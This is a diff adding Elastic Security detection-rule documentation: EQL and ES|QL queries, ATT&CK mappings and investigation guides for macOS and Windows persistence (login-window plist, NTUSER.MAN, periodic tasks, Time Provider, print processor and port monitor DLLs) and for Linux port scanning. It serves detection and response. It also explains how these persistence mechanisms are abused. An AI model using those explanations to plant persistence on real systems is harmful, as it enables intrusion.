+[source, js] +---------------------------------- +event.category:file and host.os.type:macos and not event.type:"deletion" and + file.name:"com.apple.loginwindow.plist" and + not process.name: (systemmigrationd or DesktopServicesHelper or diskmanagementd or rsync or launchd or cfprefsd or xpcproxy or ManagedClient or MCXCompositor or backupd or "iMazing Profile Editor" or storagekitd or CloneKitService) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ +* Sub-technique: +** Name: Login Hook +** ID: T1037.002 +** Reference URL: https://attack.mitre.org/techniques/T1037/002/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Plist File Modification +** ID: T1647 +** Reference URL: https://attack.mitre.org/techniques/T1647/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-persistence-via-mandatory-user-profile.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-persistence-via-mandatory-user-profile.asciidoc new file mode 100644 index 0000000000..20485e7ef6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-persistence-via-mandatory-user-profile.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-34-potential-persistence-via-mandatory-user-profile]] +=== Potential Persistence via Mandatory User Profile + +Detects the creation or modification of a mandatory user profile hive (NTUSER.MAN) by an unusual process. Adversaries may abuse Windows mandatory profiles by dropping a malicious NTUSER.MAN file containing pre-populated persistence-related registry keys. On the next user logon, Windows loads the registry hive from NTUSER.MAN, causing embedded persistence mechanisms to activate without directly modifying the live registry. This technique can evade traditional registry-based monitoring and indicate a stealthy persistence attempt. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://deceptiq.com/blog/ntuser-man-registry-persistence + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Persistence via Mandatory User Profile* + + +Windows supports *mandatory user profiles*, which rely on the `NTUSER.MAN` registry hive instead of the standard `NTUSER.DAT`. When a user logs in, Windows loads registry settings directly from this file. Adversaries can exploit this behavior by crafting or modifying an `NTUSER.MAN` file with embedded persistence mechanisms (for example, `Run` keys, logon scripts, or policy-based execution). Because the registry hive is loaded at logon, this technique may bypass traditional registry modification telemetry and provide stealthy persistence. + +This rule detects the creation or modification of `NTUSER.MAN` files in user profile directories by non-system processes, which is uncommon in legitimate environments. + + +*Possible investigation steps* + + +- Review the process responsible for creating or modifying NTUSER.MAN, focusing on process.name, process.executable, and parent process relationships. Creation or modification by scripting engines, LOLBins, or unsigned binaries is highly suspicious. +- Examine the file path to confirm whether the .MAN profile corresponds to a legitimate mandatory profile or an unexpected user directory. +- Extract and analyze the contents of the NTUSER.MAN file by loading it offline into a registry viewer. Look for persistence-related keys such as: + - Run / RunOnce + - UserInitMprLogonScript + - Policy-based execution keys +- Determine which user account(s) are configured to use the mandatory profile and whether this aligns with expected administrative behavior. +- Correlate the event with preceding file writes, downloads, or process executions** that may have staged the malicious hive. +- Review recent logon activity for users tied to the mandatory profile to identify whether persistence may have already been triggered. +- Check threat intelligence sources for known malware or tooling that abuses mandatory profiles or offline registry hive manipulation. + + +*False positive analysis* + + +- Legitimate enterprise environments may use mandatory profiles in controlled scenarios such as kiosks, training systems, or shared workstations. +- Administrative tools or scripts used during system imaging or profile provisioning may legitimately create NTUSER.MAN files. +- Profile migrations or backup/restore operations could trigger benign modifications. + +Validate whether the modifying process, user, and timing align with known administrative activity before dismissing the alert. + + +*Response and remediation* + + +- Isolate the affected host if malicious persistence is suspected to prevent further execution. +- Prevent further logons for users associated with the suspicious mandatory profile until analysis is complete. +- Remove or replace the malicious NTUSER.MAN file with a known-good version. +- Inspect the loaded registry hive for additional persistence mechanisms and remove any unauthorized entries. +- Conduct a full endpoint scan to identify additional payloads or lateral movement. +- Review endpoint detection coverage to ensure offline registry hive and profile-based persistence** techniques are monitored. +- Escalate confirmed malicious activity to incident response and document findings to improve future detections. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and + event.type in ("creation", "change") and user.id != "S-1-5-18" and + file.name : "NTUSER.MAN" and file.path : "?:\\Users\\*.MAN" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-persistence-via-periodic-tasks.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-persistence-via-periodic-tasks.asciidoc new file mode 100644 index 0000000000..a27344ba9c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-persistence-via-periodic-tasks.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-potential-persistence-via-periodic-tasks]] +=== Potential Persistence via Periodic Tasks + +Identifies the creation or modification of the default configuration for periodic tasks. Adversaries may abuse periodic tasks to execute malicious code or maintain persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://opensource.apple.com/source/crontabs/crontabs-13/private/etc/defaults/periodic.conf.auto.html +* https://www.oreilly.com/library/view/mac-os-x/0596003706/re328.html +* https://github.com/D00MFist/PersistentJXA/blob/master/PeriodicPersist.js + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Persistence via Periodic Tasks* + + +Periodic tasks in macOS are scheduled operations that automate system maintenance and other routine activities. Adversaries may exploit these tasks to execute unauthorized code or maintain persistence by altering task configurations. The detection rule identifies suspicious file activities related to periodic task configurations, excluding deletions, to flag potential misuse. This helps in early detection of persistence mechanisms employed by attackers. + + +*Possible investigation steps* + + +- Review the file path specified in the alert to determine which configuration file was created or modified. Focus on paths like /private/etc/periodic/*, /private/etc/defaults/periodic.conf, or /private/etc/periodic.conf. +- Examine the contents of the modified or newly created configuration file to identify any unauthorized or suspicious entries that could indicate malicious activity. +- Check the timestamp of the file modification or creation to correlate with any known suspicious activities or other alerts in the same timeframe. +- Investigate the user account and process responsible for the file modification to determine if it aligns with expected behavior or if it indicates potential compromise. +- Look for any related events in the system logs that might provide additional context or evidence of unauthorized access or persistence attempts. +- Assess the risk and impact of the changes by determining if the modified periodic task could execute malicious code or provide persistence for an attacker. + + +*False positive analysis* + + +- Routine system updates or maintenance scripts may trigger alerts when they modify periodic task configurations. Users can create exceptions for known update processes by identifying their specific file paths or process names. +- Administrative tools or scripts used by IT departments for legitimate system management might alter periodic task settings. To mitigate this, users should whitelist these tools by verifying their source and ensuring they are part of authorized IT operations. +- Custom user scripts for personal automation tasks could be flagged if they modify periodic task configurations. Users should document and exclude these scripts by adding them to an exception list, ensuring they are reviewed and approved for legitimate use. +- Security software or monitoring tools that adjust system settings for protection purposes might inadvertently trigger the rule. Users should verify these tools' activities and exclude them if they are confirmed to be part of the security infrastructure. + + +*Response and remediation* + + +- Isolate the affected macOS system from the network to prevent potential lateral movement or further execution of unauthorized code. +- Review the identified periodic task configuration files for unauthorized modifications or additions. Restore any altered files to their original state using known good backups. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any malicious code that may have been executed through the periodic tasks. +- Check for any additional persistence mechanisms that may have been established by the adversary, such as other scheduled tasks or startup items, and remove them. +- Monitor the system and network for any signs of continued unauthorized activity or attempts to re-establish persistence. +- Escalate the incident to the security operations team for further investigation and to determine if other systems may be affected. +- Implement enhanced monitoring and alerting for changes to periodic task configurations to quickly detect similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "modification" and + file.path like ("/private/etc/periodic/*", "/private/etc/defaults/periodic.conf", "/private/etc/periodic.conf") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-persistence-via-time-provider-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-persistence-via-time-provider-modification.asciidoc new file mode 100644 index 0000000000..5f0807a9fd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-persistence-via-time-provider-modification.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-34-potential-persistence-via-time-provider-modification]] +=== Potential Persistence via Time Provider Modification + +Identifies modification of the Time Provider. Adversaries may establish persistence by registering and enabling a malicious DLL as a time provider. Windows uses the time provider architecture to obtain accurate time stamps from other network devices or clients in the network. Time providers are implemented in the form of a DLL file which resides in the System32 folder. The service W32Time initiates during the startup of Windows and loads w32time.dll. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pentestlab.blog/2019/10/22/persistence-time-providers/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 318 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Persistence via Time Provider Modification* + + +The Time Provider architecture in Windows is responsible for obtaining accurate timestamps from network devices or clients. It is implemented as a DLL file in the System32 folder and is initiated by the W32Time service during Windows startup. Adversaries may exploit this by registering and enabling a malicious DLL as a time provider to establish persistence. + +This rule identifies changes in the registry paths associated with Time Providers, specifically targeting the addition of new DLL files. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine whether the DLL is signed. +- Retrieve the DLL and determine if it is malicious: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Restore Time Provider settings to the desired state. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.path: "*\\SYSTEM\\*ControlSet*\\Services\\W32Time\\TimeProviders\\*" and + registry.data.strings:"*.dll" and + not + ( + process.executable : ("?:\\Windows\\System32\\msiexec.exe", "\\Device\\HarddiskVolume*\\Windows\\System32\\msiexec.exe") and + registry.data.strings : "?:\\Program Files\\VMware\\VMware Tools\\vmwTimeProvider\\vmwTimeProvider.dll" + ) and + not registry.data.strings : "C:\\Windows\\SYSTEM32\\w32time.DLL" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Time Providers +** ID: T1547.003 +** Reference URL: https://attack.mitre.org/techniques/T1547/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Time Providers +** ID: T1547.003 +** Reference URL: https://attack.mitre.org/techniques/T1547/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-port-monitor-or-print-processor-registration-abuse.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-port-monitor-or-print-processor-registration-abuse.asciidoc new file mode 100644 index 0000000000..26a0eed05e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-port-monitor-or-print-processor-registration-abuse.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-potential-port-monitor-or-print-processor-registration-abuse]] +=== Potential Port Monitor or Print Processor Registration Abuse + +Identifies port monitor and print processor registry modifications. Adversaries may abuse port monitor and print processors to run malicious DLLs during system boot that will be executed as SYSTEM for privilege escalation and/or persistence, if permissions allow writing a fully-qualified pathname for that DLL. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-m365_defender.event-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Port Monitor or Print Processor Registration Abuse* + + +Port monitors and print processors are integral to Windows printing, managing data flow and processing print jobs. Adversaries exploit these by registering malicious DLLs, which execute with SYSTEM privileges at boot, enabling persistence and privilege escalation. The detection rule identifies registry changes in specific paths, focusing on non-SYSTEM user modifications, to flag potential abuse. + + +*Possible investigation steps* + + +- Review the registry path specified in the alert to confirm the presence of any unauthorized or suspicious DLLs in the paths: HKLM\SYSTEM\*ControlSet*\Control\Print\Monitors\* and HKLM\SYSTEM\*ControlSet*\Control\Print\Environments\Windows*\Print Processors\*. +- Identify the user account associated with the registry change by examining the user.id field, ensuring it is not the SYSTEM account (S-1-5-18), and determine if the account has a legitimate reason to modify these registry paths. +- Check the file properties and digital signatures of the DLLs found in the registry paths to verify their legitimacy and identify any anomalies or signs of tampering. +- Investigate the system's event logs around the time of the registry change to gather additional context, such as other activities performed by the same user or related processes that might indicate malicious behavior. +- Conduct a threat intelligence search on the identified DLLs and any associated file hashes to determine if they are known to be associated with malicious activity or threat actors. +- Assess the system for any signs of privilege escalation or persistence mechanisms that may have been established as a result of the registry modification, such as new services or scheduled tasks. + + +*False positive analysis* + + +- Legitimate software installations or updates may modify print processor or port monitor registry paths. Users should verify if recent installations or updates coincide with the detected changes. +- System administrators performing maintenance or configuration changes might trigger alerts. Ensure that such activities are documented and cross-referenced with the alert timestamps. +- Some third-party printing solutions may register their own DLLs in these registry paths. Identify and whitelist these known applications to prevent unnecessary alerts. +- Automated scripts or management tools that modify printer settings could cause false positives. Review and adjust these tools to ensure they operate under expected user accounts or exclude their known behaviors. +- Regularly review and update the exclusion list to include any new benign applications or processes that interact with the monitored registry paths. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes associated with the malicious DLLs identified in the registry paths to halt their execution. +- Remove the unauthorized DLL entries from the registry paths: HKLM\SYSTEM\*ControlSet*\Control\Print\Monitors\* and HKLM\SYSTEM\*ControlSet*\Control\Print\Environments\Windows*\Print Processors\* to eliminate persistence mechanisms. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or remnants. +- Review and reset credentials for any accounts that may have been compromised, especially those with elevated privileges, to prevent unauthorized access. +- Implement application whitelisting to prevent unauthorized DLLs from executing, focusing on the paths identified in the alert. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected, ensuring comprehensive threat containment and eradication. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.path : ( + "HKLM\\SYSTEM\\*ControlSet*\\Control\\Print\\Monitors\\*", + "HKLM\\SYSTEM\\*ControlSet*\\Control\\Print\\Environments\\Windows*\\Print Processors\\*", + "\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Control\\Print\\Monitors\\*", + "\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Control\\Print\\Environments\\Windows*\\Print Processors\\*" + ) and registry.data.strings : "*.dll" and + /* exclude SYSTEM SID - look for changes by non-SYSTEM user */ + not user.id : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Port Monitors +** ID: T1547.010 +** Reference URL: https://attack.mitre.org/techniques/T1547/010/ +* Sub-technique: +** Name: Print Processors +** ID: T1547.012 +** Reference URL: https://attack.mitre.org/techniques/T1547/012/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Port Monitors +** ID: T1547.010 +** Reference URL: https://attack.mitre.org/techniques/T1547/010/ +* Sub-technique: +** Name: Print Processors +** ID: T1547.012 +** Reference URL: https://attack.mitre.org/techniques/T1547/012/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-port-scanning-activity-from-compromised-host.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-port-scanning-activity-from-compromised-host.asciidoc new file mode 100644 index 0000000000..d7bde646cf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-port-scanning-activity-from-compromised-host.asciidoc @@ -0,0 +1,207 @@ +[[prebuilt-rule-8-19-34-potential-port-scanning-activity-from-compromised-host]] +=== Potential Port Scanning Activity from Compromised Host + +This rule detects potential port scanning activity from a compromised host. Port scanning is a common reconnaissance technique used by attackers to identify open ports and services on a target system. A compromised host may exhibit port scanning behavior when an attacker is attempting to map out the network topology, identify vulnerable services, or prepare for further exploitation. This rule identifies potential port scanning activity by monitoring network connection attempts from a single host to a large number of ports within a short time frame. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: ES|QL +* Platform: Linux + +*Version*: 14 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Port Scanning Activity from Compromised Host* + + +Port scanning is a reconnaissance method used by attackers to identify open ports and services on a network, often as a precursor to exploitation. In Linux environments, compromised hosts may perform rapid connection attempts to numerous ports, signaling potential scanning activity. The detection rule identifies such behavior by analyzing network logs for a high number of distinct port connections from a single host within a short timeframe, indicating possible malicious intent. + + +*Possible investigation steps* + + +- Review the network logs to identify the specific host exhibiting the port scanning behavior by examining the destination.ip and process.executable fields. +- Analyze the @timestamp field to determine the exact time frame of the scanning activity and correlate it with any other suspicious activities or alerts from the same host. +- Investigate the process.executable field to understand which application or service initiated the connection attempts, and verify if it is a legitimate process or potentially malicious. +- Check the destination.port field to identify the range and types of ports targeted by the scanning activity, which may provide insights into the attacker's objectives or the services they are interested in. +- Assess the host's security posture by reviewing recent changes, installed software, and user activity to determine if the host has been compromised or if the scanning is part of legitimate network operations. +- Consult the original documents and logs for additional context and details that may not be captured in the alert to aid in a comprehensive investigation. + + +*False positive analysis* + + +- Legitimate network scanning tools used by system administrators for network maintenance or security assessments can trigger this rule. To handle this, identify and whitelist the IP addresses or processes associated with these tools. +- Automated vulnerability scanners or monitoring systems that perform regular checks on network services may cause false positives. Exclude these systems by creating exceptions for their known IP addresses or process names. +- High-volume legitimate services that open multiple connections to different ports, such as load balancers or proxy servers, might be flagged. Review and exclude these services by specifying their IP addresses or process executables. +- Development or testing environments where frequent port scanning is part of routine operations can be mistakenly identified. Implement exceptions for these environments by excluding their specific network segments or host identifiers. +- Scheduled network discovery tasks that are part of IT operations can mimic port scanning behavior. Document and exclude these tasks by setting up time-based exceptions or identifying their unique process signatures. + + +*Response and remediation* + + +- Isolate the compromised host from the network immediately to prevent further scanning and potential lateral movement. +- Terminate any suspicious processes identified by the process.executable field to halt ongoing malicious activities. +- Conduct a thorough review of the compromised host's system logs and network traffic to identify any unauthorized access or data exfiltration attempts. +- Patch and update all software and services on the compromised host to close any vulnerabilities that may have been exploited. +- Change all credentials associated with the compromised host and any potentially affected systems to prevent unauthorized access. +- Monitor the network for any further signs of scanning activity or other suspicious behavior from other hosts, indicating potential additional compromises. +- Escalate the incident to the security operations team for further investigation and to determine if 